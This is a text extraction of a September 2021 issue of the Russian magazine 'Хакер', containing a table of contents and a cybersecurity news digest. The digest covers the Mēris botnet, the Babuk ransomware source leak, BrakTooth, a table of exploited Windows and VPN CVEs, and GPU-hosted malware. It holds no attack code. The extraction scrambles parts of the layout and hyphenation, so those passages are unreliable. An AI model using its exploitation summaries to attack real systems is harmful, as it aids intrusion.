Important Announcement
PubHTML5 Scheduled Server Maintenance on (GMT) Sunday, June 26th, 2:00 am - 8:00 am.
PubHTML5 site will be inoperative during the times indicated!

Home Explore 09khaker21

09khaker21

Published by pochitaem2021, 2021-11-08 17:42:54

Description: 09khaker21

Search

Read the Text Version

ПОДПИСКА Мы благодарим всех, кт редакцию и помогает н авторам и редакторам и «Хакер» не мог бы суще новый подписчик делае Напомин год дост опублик год дост выходят полное (при усл возможн каждый читать н личную можно и годовой с кажды Если по ка подпи

НА «ХАКЕР» то поддерживает нам компенсировать их труд. Без вас ествовать, и каждый ет его чуть лучше. наем, что дает годовая подписка: тупа ко всем материалам, уже кованным на Xakep.ru; тупа к новым статьям, которые т по будням; отсутствие рекламы на сайте ловии, что ты залогинишься); ность скачивать выходящие й месяц номера в PDF, чтобы на любом удобном устройстве; ю скидку 20%, которую использовать для продления й подписки. Скидка накапливается ым продлением. аким-то причинам у тебя еще нет иски или она скоро кончится, спеши исправить это!

CONT MEGANews Самые важные события в мире инфосека за с Крах Freedom Hosting За что оператор сервиса получил 27 лет тюрь Android Цензура Xiaomi и сброс разрешений для всех Таймлайн всего Используем Plaso для сбора системных собы Цифровой детектив Используем Timesketch для работы с таймлай Прыжок в Sigma-лярность Используем правила Sigma в Timesketch DDoS с усилением Обходим Raw Security и пишем DDoS-утилиту Липосакция для fat binary Ломаем программу для macOS с поддержкой F#ck AMSI! Как обходят Anti-Malware Scan Interface при з В обход стражи Отлаживаем код на PHP, упакованный SourceG Like a pro Используем OSINT и цепочки атак в OWASP J Самый быстрый укол Оптимизируем Blind SQL-инъекцию HTB Sink Учимся прятать запросы HTTP и разбираемся HTB Unobtainium Учимся работать с Kubernetes в рамках пенте HTB Schooled Пентестим Moodle и делаем вредоносный пак Искусство маскировки Как мошенники прячут свои сайты в интернет Основы аудита Настраиваем журналирование важных событи Господин Микротиков Автоматизируем сбор и обработку данных с о Прочесть память Как крадут прошивку устройств и как от этого Титры Кто делает этот журнал

TENTS№ 270Сентябрь 2021 сентябрь ьмы х ытий йнами Plaso у для Windows й нескольких архитектур заражении Windows Guardian Juice Shop я с AWS Secrets Manager еста кет для FreeBSD те ий в Linux оборудования MikroTik о защищаются

Мария «Mifrill» Нефёдова [email protected] В этом месяце: комп­ ания «Яндекс» подв­ ерг­ лась крупн­ ейш­ ей DDoS-ата­ке в  истор­ ии, осно­вате­ля Group-IB арест­ овали и  обвин­ яют в  госизм­ ене, хакеры научи­лись скрыв­ ать мал‐­ варь с  помощью видео­ карт, исходни­ки шифр­ овальщ­ ика Babuk «слил­ и» в открыт­ ый дос­туп, раз­работ­чики Google рас‐­ сказ­ али о  пла­нах по  внед­рению Manifest V3  — и  еще мног­ о интер­ ес­ного. КРУПНЕЙШИЙ DDOS В ИСТОРИИ РУНЕТА В начале сен­тября спе­циалис­ты «Яндекса» и  Qrator Labs расс­ ка­зали, что «Яндекс» подв­ ерг­ ся мощ­нейш­ ей DDoS-атак­ е, за которой сто­ял новый ботн­ ет Mēris. Ока­залось, что тот же бот­нет ответст­ ве­нен и за друг­ ие мощн­ ей­шие DDoS- ата­ки посл­ едне­го вре­мени, пиковая мощ­ность которых сост­ авлял­ а  21,8  млн запр­ осов в секун­ду, что являе­ тся новым рекорд­ ом: еще недав­но крупн­ ейш­ ей ата­кой в  истор­ ии счи­тал­ся DDoS мощ­ностью  17,2  млн зап­росов в  секунд­ у, который летом текуще­го года отра­зила ком­пания Cloudflare. Ис­след­ ова­тели дали бот­нету имя Mēris  — «чума» по‑латышс­ ки, так как  счи­тает­ся, что в основном он сост­ оит из устройс­ тв латв­ ий­ской комп­ ании MikroTik. При этом нужн­ о отме­тить, что предс­ та­вите­ли MikroTik офи­циальн­ о заяви­ли: Mēris не  эксп­ лу­ати­рует какие‑либо неизв­ ес‐­ тные ранее и  0-day-уязв­ имос­ти в  RouterOS. Преи­ му­щест­ венн­ о мал­варь взлам­ ывае­ т дав­но не обновлявш­ иеся устрой­ства, исполь­зуя для этог­ о ста­рую уязв­ имость CVE-2018-14847. Вперв­ ые Mēris был замечен в  июле  2021  года, и  изна­чальн­ о спец­ иалис­ты Qrator Labs набл­ юдали 30 000 зараженн­ ых хос­тов, тогд­ а как в «Яндексе» соб‐­ рали дан­ные о  56  000  ата­кующих устрой­ств. Одна­ко предп­ олага­ется, что на самом деле количес­тво ботов прев­ ышае­ т 200 000. « «Пол­ная сила бот­нета не видн­ а из‑за ротации устройс­ тв и отсутст­ вия у  атак­ ующих желания показыв­ ать всю име­ющуюся мощ­ность. Более того, устройс­ тва в  бот­нете явля­ются высокоп­роизв­ одитель­ными, а  не типич­ными девайс­ ами „интернет­ а вещей“, под­ключ­ енн­ ыми к  сети Wi- Fi. С наиболь­шей веро­ятностью ботн­ ет сос­тоит из девайс­ ов, под­клю-­ ченн­ ых через Ethernet-соедин­ ение,  — в  основном, сетевых устрой-­ »ств», — гла­сил отчет ком­паний. Пом­ имо «Яндекса», за  пос­леднее врем­ я Mēris ата­ковал одно­го из  кли­ентов ком­пании Cloudflare, сайт извес­тно­го ИБ‑жур­налист­ а Брайа­ на Креб­са, а так‐­ же сто­ял за  DDoS-ата­ками в  Новой Зелан­дии, из‑за которых в  стран­ е мес‐­ тами перес­тал работать интернет, воз­никли проб­лемы у  бан­ков, почт­ овых отде­лений и так далее. « «В наст­ оящий момент он [бот­нет] может перегр­ узить практ­ ическ­ и любую сетевую инфраструкт­ уру, вклю­чая некотор­ ые сети высокой надеж­ности, спец­ иальн­ о созд­ анные, что­бы выдерж­ ивать подобн­ ую нагр­ узку. Главн­ ый призн­ ак бот­нета  — чудовищ­ный показат­ ель RPS [Requests Per Second, зап­росов в секунд­ у]», — пре­дупр­ ежда­ют экспер-­ »ты. Инт­ ересн­ о, что в  конц­ е сен­тября, изуч­ ая бот­нет Mēris, исслед­ ова­тели «Рос‐­ телеком‑Солар» обра­тили вним­ ание, что заражен­ные устройс­ тва пыта­ются связ­ ать­ся с  доменом cosmosentry[.]com, который никому не  прин­ ад­лежит, и  быс­тро зарегист­ ри­ровал­ и его на  себя. Бла­годар­ я это­му око‐­ ло 45 000 заражен­ных устрой­ств MikroTik не ста­ли частью бот­нета. « «Наша стат­ ист­ ика по геопр­ инадл­ ежност­ и заражен­ных устройс­ тв схож­ а с  данн­ ыми в  пост­ е „Яндекса“ (Бра­зилия, Индо­незия, Индия, Бан­гла-­ деш). Но  есть и  раз­личия (у нас больш­ ую часть занимае­ т Укра­ина). Веро­ятно, у бот­нета Mēris нес­коль­ко сер­веров управлен­ ия и нам дос-­ тупна толь­ко часть устройс­ тв,  — пишут спец­ иалис­ты «Рос-­ телеком‑Солар».  — К  сожален­ ию, мы не  можем предп­ ри­нять никаких активных дейс­ твий с  под­кон­трольн­ ыми нам устрой­ствам­ и (у нас нет на это полн­ омочий). В наст­ оящий момент поряд­ка 45 тысяч устрой­ств MikroTik обра­щают­ся к  нам, как  к sinkhole-домену. Информа­ция уже »переда­на в НКЦКИ». При этом изна­чаль­но иссле­дова­тели комп­ ании вооб­ще не  план­ иров­ али устра­ивать малв­ ари sinkhole, а изу­чали возм­ ожную связь межд­ у Mēris и мал‐­ варью Glupteba, которая обычн­ о использ­ ует­ся в качес­тве загр­ узчик­ а для дру‐­ гих вре­донос­ных прогр­ амм. По дан­ным анал­ итик­ ов, Mēris начал зарож­дать­ся еще  в  2018  году с  помощью Glupteba, и  эта малв­ арь до  сих пор являе­ тся «пос­тавщи­ком» новых зараженн­ ых устройс­ тв для Mēris. 5 ОКТЯБРЯ 2021 ГОДА — РЕЛИЗ WINDOWS 11 Комп­ ания Microsoft выпус­тит Windows 11 5  октября  2021  года. Новые ПК получат дост­ уп к Windows 11 перв­ ыми, а за ними пос­ледую­ т более ста­рые совм­ ести­мые машины, оче­редн­ ость которых будет опре­делен­ а спец­ иаль­ными «интеллек­туаль­ными моделя­ми, учит­ ыва­ющи­ми соот‐­ ветс­твие обор­ удов­ ания треб­ ова­ниям, показа­тели надеж­ности, возр­ аст устройс­ тв и друг­ ие фак‐­ торы». В  конеч­ном ито­ге все совм­ естим­ ые компь­юте­ры долж­ ны перей­ти на  новую ОС к  се-­ редин­ е 2022 года. В Microsoft утвер­ждаю­ т, что «Windows 10 — пра­вильн­ ый выбор» для стар­ ых сис­тем, и напоми‐­ нают, что Windows 10  будет получать обновле­ния безопас­ности до  14  октября  2025  года, а на осень текущег­ о года запл­ аниров­ ан релиз Windows 10 21H2. ОСНОВАТЕЛЬ GROUP-IB АРЕСТОВАН 29  сен­тября  2021  года ста­ла извест­ но об  арест­ е основ­ ате­ля и  глав­ ы ком‐­ пании Group-IB Ильи Сачк­ ова, который был задерж­ ан на  два месяца по  подозр­ ению в  госизм­ ене. Чуть позж­ е пресс‑сек­ретарь Лефор­товс­ ко­го суда Моск­ вы Анас­тасия Романо­ва под­тверд­ ила: «В отнош­ ении Сачк­ ова Ильи Кон­стант­ инови­ча, подоз­рева­емог­о « в соверш­ ении прест­ упле­ния, пре­дус­мотрен­ного ст. 275 УК РФ, избра-­ на мера прес­ ечен­ ия в  виде зак­лючения под  стра­жу срок­ ом на  один »месяц 30 суток, то есть до 27 нояб­ря 2021 года». Нуж­но ска­зать, что наказан­ ие по  этой статье пред­ ус­матрив­ ает до  20  лет лишения сво­боды. В нас­тоящее врем­ я Сачк­ ов находит­ся в СИЗО, и извес­тно лишь, что материа­ лы этог­ о уго­ловн­ ого дела засек­речены. Пресс‑сек­ретарь пре­зидент­ а Рос­сии Дмит­рий Пес­ков про­ком­менти­ровал арест Сач­кова, заявив, что про­исход­ ящее не  имее­ т отно­шения к  деловом­ у и инвестиц­ ион­ному кли­мату. «Это не  име­ет никако­го отнош­ ения к  делово­му и  инвестиц­ ион­ному « клим­ ату в нашей стра­не, вы видите, что обвин­ ения не свя­заны с эко-­ номи­кой, а свя­заны с госиз­меной», — ска­зал Песк­ ов, но отмет­ ил, что »в Кремл­ е «не рас­полагаю­ т деталям­ и». Как сообщ­ ил телека­нал RTVI, в ночь на 29 сент­ ября в моск­ ов­ской штаб‑квар‐­ тире Group-IB про­вели обыск сотр­ удни­ки ФСБ, и эту информа­цию позж­ е под‐­ тверд­ или предс­ та­вите­ли ком­пании. Жур­налист­ ы, при­ехав­шие к  офи­су ком‐­ пании на Шарико­подш­ ипник­ овс­ кой ули­це, обнар­ ужил­ и, что у вхо­да в зда­ние сто­ят пасс­ ажир­ский автоб­ ус и  минивен с  тониров­ анн­ ыми стек­лами и  вклю‐­ чен­ными габари­тами. « «Человек в  штат­ском перетаск­ ивал вещи из  офис­ а в  автоб­ ус, а  на прох­ одн­ ой в  самом зда­нии корр­ еспон­дентов встрет­ или двое воору-­ женн­ ых муж­чин в  такт­ ическ­ ой одежд­ е рас­цветк­ и муль­тикам и  маск­ ах на  лице. Они ска­зали корр­ еспонд­ ентам, что не  пус­тят внутрь и  не »будут комм­ ентир­ овать про­исход­ ящее в офис­ е», — рас­сказ­ ыва­ет RTVI. По данн­ ым ТАСС и их собст­ венн­ ых источник­ ов в силовых струк­турах, Сач­ков не  призн­ ает вину в  государст­ вен­ной измен­ е, а  такж­ е не  призн­ ает, что сот‐­ руднич­ ал с раз­ведкой инос­транн­ ых государств. Ком­пания Group-IB опуб­ликовал­ а офи­циаль­ное заявл­ ение о  прои­ схо‐­ дящем. В час­тнос­ти сообщ­ ает­ся, что руководст­ во ком­пание­ й врем­ ен­но возь‐­ мет на себя втор­ ой осно­ватель Group-IB Дмит­рий Волк­ ов. « «На дан­ный момент юрист­ ы Group-IB, одног­о из  ведущих раз­работ-­ чиков решений для  детект­ ирован­ ия и  пре­дот­вращ­ ения киберат­ ак, выявл­ ения мошен­ничест­ ва, исслед­ ова­ния высокот­ ех­нологичн­ ых прес-­ тупле­ний и  защиты интеллект­ уальн­ ой собс­твенн­ ости в  сети, изуч­ ают пост­ анов­ление Лефорт­ ов­ског­о рай­онног­о суда города Мос­квы от 28.09.2021 года в отно­шении осно­вател­ я и генеральн­ ого директ­ ора Group-IB Ильи Сач­кова. Сот­рудни­ки уве­рены в  невинов­ности сво­его руково­дите­ля и  его чес-­ тной деловой репута­ции. Все подр­ азде­ления Group-IB работаю­ т в штатн­ ом в режиме. Комп­ ания бла­годар­ ит кли­ентов, парт­ нер­ ов и журн­ алис­тов за подд­ ер­жку», — гла-­ »сит офи­циальн­ ый пресс‑релиз. БРУТФОРС НЕ УСТАРЕВАЕТ Спец­ иалис­ты «Лабора­тории Касп­ ер­ско­го» под­готови­ли анал­ ити­ческ­ ий отчет, пос­вященн­ ый реаги­рован­ ию на  инцид­ ен­ты. Иссле­доват­ ели пришл­ и к  выводу, что в  2020  году для  прон­ ик‐­ новения в сети орган­ изац­ ий хакеры чаще все­го использ­ овали брутф­ орс. В прош­лом году изу­чен­ные комп­ ание­ й инцид­ ен­ты в основном были связ­ аны с кра­жей денег, утечк­ ами данн­ ых, ата­ками шиф­роваль­щиков и  по­доз­ритель­ной активностью в сети. Дол­ я брут­форс‑атак по  все­му миру вырос­ла с  13% до  почт­ и 32% (по срав­нению с  2019  годом). Экспер­ты связ­ ыва­ют это  с масс­ овым перехо­дом комп­ аний на  дис­танци­онную работу в услов­ иях панд­ емии и более част­ ым использ­ овани­ем прот­ око­ла RDP. Вто­рой по рас­простра­ненн­ ости метод про­никн­ овения в сист­ ему — экс­плу­атац­ ия уяз­вимост­ ей. Доля таких инцид­ ен­тов сост­ авила 31,5%. Бо­лее половин­ ы всех атак были обна­ружен­ ы в  течение нес­кольк­ их часов (18%) или  дней (55%). Инцид­ ен­ты дли­лись в сред­нем окол­ о 90 дней. В подав­ляющем боль­шинс­тве слу­чаев зло­умыш­ленни­ки использ­ овали давн­ о извест­ ные, но не закр­ ытые на  корп­ оративн­ ых устрой­ствах баги, вклю­чая CVE-2019-11510, CVE-2018-8453 и CVE-2017-0144. CVE Обл­ асть при‐­ Опис­ ание мене­ния CVE- 2020- SMB-серв­ ис Уязв­ имость в  сер­висе SMBv3  позв­ оля­ет уда­лен­но исполнять 0796 в  Microsoft прои­ звольн­ ый код без  пред­варитель­ной аутен­тифика­ции. Windows Насл­ едник уязв­ имост­ и МS17-010. CVE- 2018- Комп­ онент Уязв­ имость позв­ оля­ет повысить при­виле­гии во  врем­ я обра‐­ 8453 Win32k ботк­ и объ­ектов в  памяти. Использ­ овалась груп­пой Microsoft FruityArmor. CVE- 2020- Windows Уязв­ имость позв­ оляе­ т повысить при­вилег­ ии. Широко исполь‐­ 0787 Background зует­ся шиф­ровальщ­ иками. Intelligent CVE- Transfer Service 2017- (BITS) 0144 SМВ серв­ ис Уяз­вимость в  сер­висе SMBv1, позв­ оляю­ щая ата­кующим CVE- в  Microsoft исполнять код через отправ­ку сетевых пакетов. Использ­ ует­ся 2019- Windows в эксп­ ло­ите EternalBlue. 11510 Pulse Secure Атак­ уюший без аутен­тифика­ции может получить учет­ные дан‐­ CVE- SSL VPN ные польз­ овате­ля VРN-серв­ ера. Мгно­венн­ ый дост­ уп к  орга‐­ 2017- низац­ ии‑жерт­ ве по легитим­ному каналу. 11317 Telerik.Web.UI Уязв­ имость исполь­зует ошиб­ку в  фун­кции шифр­ ования CVE- RadAsyncUpload, которая позв­ оляе­ т прим­ енить удал­ ен­ные 2019- заг­рузку фай­лов и исполне­ние кода. 0604 Microsoft Уязв­ имость позв­ оляе­ т удал­ ен­но исполнять прои­ зволь­ный код CVE- SharePoint без предв­ аритель­ной аутен­тифика­ции в Microsoft SharePoint. 2017- 8464 Microsoft Поз­воля­ет локаль­ным поль­зовател­ ям или  уда­ленн­ ому ата‐­ Windows Shell кующем­ у исполнять код путем спе­циаль­но подг­ отовл­ енных LNK-файл­ ов, обраб­ аты­ваемых при­ложен­ иями при  отоб‐­ ражении икон­ ок. При­меняе­ тся при ата­ках LemonDuck. COBALT STRIKE BEACON ДЛЯ LINUX Эк­сперт­ ы комп­ ании Intezer Lab обна­ружил­ и Vermilion Strike — адапт­ ирован­ную для  Linux вари­ацию Cobalt Strike Beacon, которую хакеры уже использ­ уют в ата­ках про­тив орган­ иза­ций по всем­ у миру. Cobalt Strike  — легитим­ный ком­мерчес­кий инст­ ру­мент, созд­ анный для  пент­ естер­ ов и  red team и  орие­ нтир­ ованн­ ый на  эксп­ луа­ тац­ ию и  пос­тэкс‐­ плу­атац­ ию. К  сожален­ ию, он давн­ о любим хакерам­ и, начиная от  прав­ итель‐­ ственн­ ых APT-групп­ ировок и закан­чивая опе­ратор­ ами шифр­ овальщ­ иков. Хотя он недост­ упен для рядовых польз­ овате­лей и полн­ ая верс­ ия оце­нивае­ тся при‐­ мер­но в  3500  дол­ларов за  устан­ ов­ку, злоу­ мышл­ енни­ки все равн­ о находят спос­ обы его использ­ овать (к при­меру, полага­ются на  стар­ ые, пиратс­ кие, взло­ман­ные и незарег­ ис­трир­ ованн­ ые верс­ ии). Обычн­ о прес­тупник­ и использ­ уют Cobalt Strike для пос­тэксп­ лу­ата­ции, пос‐­ ле раз­вертыв­ ания так называ­емых маяков (beacon), которые обес­печива­ют устой­чивый уда­ленн­ ый дос­туп к ском­про­мети­рован­ным устройс­ твам. Исполь‐­ зуя маяки, хакеры могут получить дос­туп к  взлом­ анн­ ым сис­темам для  пос‐­ ледую­ щег­ о сбо­ра данн­ ых или раз­верты­вания дополн­ ительн­ ой мал­вари. Од­нако, с  точк­ и зрен­ ия прес­тупник­ ов, у  Cobalt Strike всег­да был один серь­езный недос­таток. Дело в  том, что он под­держив­ ает тольк­ о Windows, но не Linux. Но, судя по отче­ту Intezer Lab, теперь это изме­нилось. Вперв­ ые иссле­дова­тели замети­ли новую реали­зацию маяка в  августе текуще­го года и  дали этом­ у явлен­ ию наз­вание Vermilion Strike. В  комп­ ании под­черки­вают, что ELF-бинарн­ ик Cobalt Strike пока не обна­ружив­ аетс­ я анти‐­ вирусн­ ыми решения­ ми. По сути, Vermilion Strike использ­ ует тот же форм­ ат конф­ игура­ции, что и  маяк для Windows, он может взаи­ мод­ ейс­ тво­вать со все­ми серв­ ерами Cobalt Strike, однак­ о не  исполь­зует код Cobalt Strike. Хуже того, экспер­ты счи­тают, что тот же разр­ абот­чик перепис­ ал ориг­ инальн­ ую вер­сию маяка для  Windows, чтоб­ ы лучш­ е избе­гать обнар­ ужен­ ия. Ис­польз­ уя телеметр­ ию, пред­ ост­ авленн­ ую McAfee Enterprise ATR, исслед­ ова‐­ тели выяс­нили, что Vermilion Strike исполь­зует­ся для атак с августа 2021 года. Прес­тупни­ки нацеле­ны на самые разн­ ые ком­пании и орга­низа­ции, от телеко‐­ мов и государс­твен­ных учрежден­ ий до ИТ‑ком­паний, финан­совых учрежде­ний и кон­салтин­говых фирм по все­му миру. НЕ ОЧЕНЬ АНОНИМНЫЙ PROTONMAIL Вок­руг защищен­ного поч­тового сер­виса ProtonMail разг­ орелс­ я сканд­ ал: руководс­тво сер­виса приз­налось, что недав­но было вынужд­ ено сохр­ анить IP-адрес одно­го из  свои­ х клие­ нтов и передать его пра­воохр­ анительн­ ым орга­нам, так как ProtonMail получил соот­ветс­тву­ющее рас‐­ поряже­ние от швей­цар­ских влас­тей, которое невоз­можно было обжа­ловать или отклон­ ить. В ито­ге комп­ ания даже внесл­ а измен­ ения в политик­ у конф­ иденц­ иальн­ ос­ти, заменив фра­зу «мы не ведем логи IP-адрес­ ов» на фор­мулировк­ у: «ProtonMail — это элект­ ронн­ ая почт­ а, которая уваж­ ает кон­фиденц­ иальн­ ость и ста­вит людей (а не рекл­ амодат­ елей) на пер­вое мест­ о» → «Неважн­ о, какой серв­ ис вы использ­ уете, если он не  находит­ся в  15  милях от берега в межд­ ународн­ ых водах, комп­ ания будет обяз­ ана соб­людать закон. Proton может быть обяз­ ан собирать информац­ ию об  учет­ных записях, при‐­ над­лежащих польз­ овател­ ям, которые находят­ся под уго­лов­ным рас­след­ ован­ ием в Швей­царии. Очев­ ид­но, что это дела­ется не по умол­чанию, а лишь в том слу‐­ чае, если Proton получае­ т юри­дическ­ ий при­каз для конк­ ретн­ ой учетн­ ой записи. Интернет в  основном не  анон­ имен, и  если вы нарушае­ те закон, законоп­ ос‐­ лушная комп­ ания, такая как  ProtonMail, может быть юрид­ ическ­ и обя­зана сох‐­ ранить ваш IP-адрес» — объ­яснил глав­ а ProtonMail Энди Йен (Andy Yen) в бло­ге ком­пании ОПУБЛИКОВАНЫ ИСХОДНИКИ BABUK Груп­па исслед­ оват­ елей VX-Underground обна­ружи­ла, что на  русс­ ко­язычн­ ом хак‑форуме был опубл­ икован пол­ный исходный код шифр­ овальщ­ ика Babuk. Опубл­ иковавш­ ий исходни­ки учас­тник хак‑групп­ ы утверж­ дал, что у  него диаг‐­ ностир­ овал­ и рак лег­ких четв­ ертой стад­ ии и  он хочет успеть «пожить как человек». Нуж­но сказ­ ать, что мног­ ие ИБ‑экспер­ты счи­тают это заяв­ление ложью. →Продолжение статьи

← Начало статьи Babuk (он же Babuk Locker и  Babyk) появилс­ я в  начале  2021  года. Малв­ арь атак­ овал­ а комп­ ании, шиф­ровала их дан­ные, а ее опе­рато­ры так­же похищал­ и файл­ ы жертв и  тре­бовал­ и от  пос­трад­ ав­ших двой­ной выкуп. Посл­ е ата­ки на  Цент­ раль­ный полицей­ский депар­тамент округ­ а Колум­бия опе­рато­ры Babuk привл­ екли к  себе слишк­ ом мног­ о вни­мания, и  в апрел­ е  2021  года хак‑груп­па сооб­щила, что прек­раща­ет свою деятель­ность. Впроч­ ем, вскор­ е неск­ ольк­ о учас­тни­ков той же груп­пиров­ки отдел­ ились от  основной команд­ ы, переи­ мен­ овал­ и мал­варь в  Babuk V2  и  прод­ олж­ ают шифр­ овать фай­лы жертв по сей день. Из­дание Bleeping Computer сооб­щило, что файл­ ы, которым­ и теперь поделил­ся один из  участ­ ник­ ов групп­ ы, содер­жат раз­личные про­екты Visual Studio для шиф­рования VMware ESXi, NAS и Windows. В сущ­ности, был опуб‐­ ликован полн­ ый исходный код мал­вари, код дешифр­ атора, а такж­ е генера­тор зак­рытого и откры­того клю­чей. Техн­ ическ­ ий директ­ ор ком­пании Emsisoft и  извест­ ный ИБ‑эксперт Фабиа­ н Восар, а  такж­ е иссле­доват­ ели из  McAfee Enterprise уже подт­ верд­ или, что утеч­ка под­линная. Восар полагае­ т, что этот «слив» может помочь дешиф‐­ ровать дан­ные прошл­ ых жертв вымогат­ еля. 9193 МАШИНЫ В КОРПОРАТИВНЫХ СЕТЯХ РФ ЗАШИФРОВАНЫ По данн­ ым «Лабора­тории Касп­ ерс­ ког­ о», с январ­ я по июль 2021 года шиф­роваль­щики ата­кова‐­ ли 9193 компь­ютер­ а в  раз­ных кор­поратив­ных сетях в  Росс­ ии. Сообщ­ аетс­ я, что больш­ инст­ во вымогат­ елей по‑преж­нему осущ­ еств­ ляю­ т ата­ки через RDP, то есть зло­умышл­ енник­ и под­бира‐­ ют учетн­ ые данн­ ые, подк­ лю­чаютс­ я к устрой­ству и вруч­ную запуск­ ают мал­варь. От­меча­ется, что количес­тво инцид­ ен­тов с  вымога­тельс­ ким ПО  про­дол­жает рас­ти: толь­ко во вто­ром квар­тале 2021 года ком­пания обнар­ ужи­ла 14 новых семей­ств такой малв­ ари. УЯЗВИМОСТИ BRAKTOOTH Групп­ а исслед­ оват­ елей опуб­ликовал­ а информа­цию о  16  серь­езных уяз‐­ вимос­тях, влия­ ющих на  стек Bluetooth во  мно­гих популяр­ных SoC, которые при­меняю­ тся в  ноутб­ уках, смарт­ фон­ ах, пром­ ыш­ленных устрой­ствах и  IoT- девай­сах. Пробл­ емы получил­ и общее наз­вание BrakTooth: они поз­воляю­ т вывест­ и из  строя или  «повесить» устрой­ство, а  в худш­ ем случ­ ае помога­ют выпол­нить прои­ звольн­ ый код и зах­ватить всю сист­ ему. Спе­циалист­ ы изу­чили библ­ иоте­ки Bluetooth для 13 раз­ных SoC от 11 про‐­ извод­ ител­ ей. Как оказ­ алось, одна и та же про­шивк­ а Bluetooth исполь­зовалась более чем в  1400 SoC, которые были основ­ ой для  самых разн­ ых девайс­ ов. Хуже того, все ата­ки BrakTooth можн­ о выпол­нить с  помощью станд­ арт­ ног­ о Bluetooth-обо­рудов­ ания, сто­имость которо­го не прев­ ыша­ет 15 дол­ларов. Ав­торы докл­ ада заявил­ и, что количес­тво проб­лемных устройс­ тв исчисля‐­ ется милл­ иард­ ами, хотя степ­ ень уяз­вимос­ти зависит от  SoC устройс­ тва и прогр­ ам­мно­го сте­ка Bluetooth. Са­мая серь­езная проб­лема из  сост­ ава BrakTooth  — это  уязв­ имость CVE- 2021-28139, которая поз­воля­ет удал­ енн­ ым злоу­ мыш­ленни­кам запуск­ ать собс‐ твен­ный вред­ онос­ный код на  уяз­вимых устрой­ствах поср­ едст­ вом Bluetooth LMP. По  данн­ ым иссле­доват­ ельс­ кой групп­ ы, этот баг вли­яет на  «умные» устрой­ства и  про­мышл­ енное обор­ удов­ ание на  базе ESP32 SoC Espressif Systems, однак­ о проб­лема может сказ­ ывать­ся и на мног­ их друг­ их ком­мерчес‐­ ких про­дук­тах. Дру­гие баги из  числ­ а BrakTooth менее серье­ зны. Напр­ имер, обна­ружен ряд уязв­ имос­тей, которые мож­но использ­ овать для  сбоя Bluetooth на  смар‐­ тфон­ ах и  ноут­буках, отправл­ яя устрой­ствам искаж­ енн­ ыми пакеты Bluetooth LMP. Для  таких атак уяз­вимы ноутб­ уки Microsoft Surface, наст­ оль­ные компь‐­ ютер­ ы Dell и неск­ оль­ко моделей смар­тфо­нов на базе Qualcomm. Такж­ е зло‐­ умыш­ленни­ки могут исполь­зовать обре­зан­ные, уве­личен­ные или  out-of-order пакеты Bluetooth LMP, что­бы спро­воцир­ овать «зависан­ ие» устрой­ства, пос­ле чего пот­ребу­ется перезагр­ узка вруч­ную. Докл­ ад гла­сит, что всех прои­ зво­дител­ ей уязв­ имого обор­ удов­ ания пред­ уп‐­ редили о  проб­лемах еще  нес­коль­ко месяцев тому назад. Увы, нес­мотря на  про­шедш­ ее вре­мя, не  все комп­ ании сумели вовр­ емя выпуст­ ить исправ‐­ ления. На дан­ный момент толь­ко Espressif Systems, Infineon (бывш­ ий Cypress) и Bluetrum выпуст­ или пат­чи, а Texas Instruments вообщ­ е заявил­ а, что не будет устран­ ять най­денн­ ые недост­ атки. Друг­ ие пос­тавщик­ и под­тверд­ или выводы исслед­ ова­телей, но пока даже не назв­ али точн­ ых дат выхода пат­чей. Предс­ тав­ ите­ли Bluetooth Special Interest Group, которая руково­дит раз­работ‐­ кой стан­дарта Bluetooth, пояс­нили, что они освед­ омл­ ены о  проб­лемах BrakTooth, однак­ о не  могут оказ­ ывать дав­ление на  прои­ звод­ ите­лей в  воп‐­ росах выпуск­ а пат­чей, так как  уязв­ имост­ и влия­ ют не  на сам станд­ арт, но  на кон­кретн­ ые импле­мент­ ации вен­доров. Так как  пат­чей до  сих пор нет, иссле­доват­ ель­ская групп­ а заявил­ а, что не пла­нируе­ т обна­родо­вать PoC-экс­плои­ ты для BrakTooth. ПЛАТИТЬ ИЛИ НЕ ПЛАТИТЬ? Из­дание The Bell совм­ ест­ но с экспер­тами Group-IB пров­ ели онлайн‑исслед­ ова­ние сре­ди рос‐­ сийс­ ких пред­прин­ имат­ елей, поин­тересов­ авш­ ись у  них, стал­кивались ли они с  кибера­така­ми, защище­ны ли их сети от прог­рамм‑вымога­телей и хорошо ли биз­несмен­ ы понима­ют, что даже такая прив­ ыч­ная вещь, как элект­ рон­ная почт­ а, может стать точк­ ой вхо­да для злоу­ мыш­ленни­ков. 77,4% росс­ ийс­ ких пред­прин­ има­телей не  готовы пла­тить выкуп за  рас­шифров­ку данн­ ых, при  этом больш­ е половин­ ы опро­шенн­ ых (51,9%) призн­ ают, что их комп­ ания «ско­рее не защищен­ а» от атак прогр­ амм‑вымогат­ елей. По результ­ атам опро­са, 27,4% предп­ ри­нимат­ елей за  пос­ледние два года под­верга­лись кибера­такам, тог­да как больш­ инст­ во (59,4%) утверж­ дае­ т, что их эта пробл­ ема не кос­нулась — «им вез­ло». Больш­ е половин­ ы опро­шенн­ ых биз­несмен­ ов (50,9%) счит­ ают угро­зу шифр­ оваль­щиков опас‐­ ной и  при­мерн­ о стольк­ о же (51,9%) убежд­ ены, что их ком­пания «ско­рее не  защище­на» от подоб­ных атак. Толь­ко 17,9% готовы расс­ тать­ся с 5 000 000 руб­лей, если ком­панию ата­кует шифр­ овальщ­ ик. Еще 3,7% перевед­ ут злоу­ мыш­ленник­ ам даже 10 000 000 руб­лей, а 1% опро­шенн­ ых заявл­ яет, что не пожалее­ т за расш­ ифров­ку информа­ции даже 100 000 000 руб­лей. При этом 33% пред­при­нимат­ елей приз­нались, что оста­новк­ а всег­ о на  неск­ оль­ко часов уже кри­тичн­ а для их бизн­ еса, еще для 30% кри­тич­ным явля­ется прос­той на один день. Элект­ рон­ная поч­та явля­ется точк­ ой прон­ ик­новения в сети ком­паний в 40–60% случ­ аев, и об этом зна­ют 50% опро­шен­ных. При  этом стольк­ о же (50%) сообщ­ или, что не  исполь­зуют допол­нитель­ных техн­ ологий защиты почт­ ы, огран­ ичив­ аясь встрое­ нны­ми воз­можност­ ями. Окол­ о 16% вообщ­ е не думаю­ т о том, что почт­ у нуж­но как‑то защищать. МАЛВАРЬ В ГРАФИЧЕСКИХ ПРОЦЕССОРАХ В про­даже на  хакер­ском форуме был обнар­ ужен экс­плои­ т, который исполь‐­ зует буфер памяти граф­ ичес­кого проц­ ес­сора для  хран­ ения вре­доносн­ ого кода и  его выполн­ ения. В  целом данн­ ый метод не  нов и  подобн­ ые PoC-экс‐­ пло­иты уже публ­ иковал­ ись ранее, однак­ о все эти про­екты либо были реали‐­ зова­ны исклю­читель­но в  